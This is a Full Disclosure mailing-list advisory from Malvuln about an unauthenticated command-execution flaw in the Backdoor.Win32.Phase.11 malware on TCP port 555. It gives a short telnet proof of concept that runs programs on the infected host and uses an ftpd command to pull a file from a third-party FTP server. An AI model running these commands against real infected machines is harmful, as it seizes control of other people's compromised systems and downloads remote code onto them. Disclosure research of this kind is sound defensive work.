Backdoor.Win32.Phase.11 / Unauthenticated Remote Command Execution

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/fb4fb710f031304d788d9cd1c4201552.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Phase.11
Vulnerability: Unauthenticated Remote Command Execution
Description: The phAse zero server v1.1 by njord of kr0me corp listens on
TCP port 555. Third-party attackers who can reach an infected system can
run commands made available by the malware and execute arbitrary programs
further compromising the host. Using telnet to connect worked best, to
start programs you need to pass an "S" argument preceding the program name
like... EXEC S PROGRAM_NAME. Other commands are CURDIR, SHOWMSG etc. The
ftpd command can also be initiated to third-party FTP servers to download
tools to the infected host.
Type: PE32
MD5: fb4fb710f031304d788d9cd1c4201552
Vuln ID: MVID-2021-0428
Disclosure: 12/12/2021

Exploit/PoC:
telnet.exe MALWARE_HOST 555
phAse zero server v1.1 by njord of kr0me corp
access granted, at your commands
EXEC S "calc"
ftpd anonymous anonymous 192.168.18.128 . DOOM.exe
contacting 192.168.18.128 ...
host contacted, transferring file
CURDIR
c:\dump
SHOWMSG hate

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/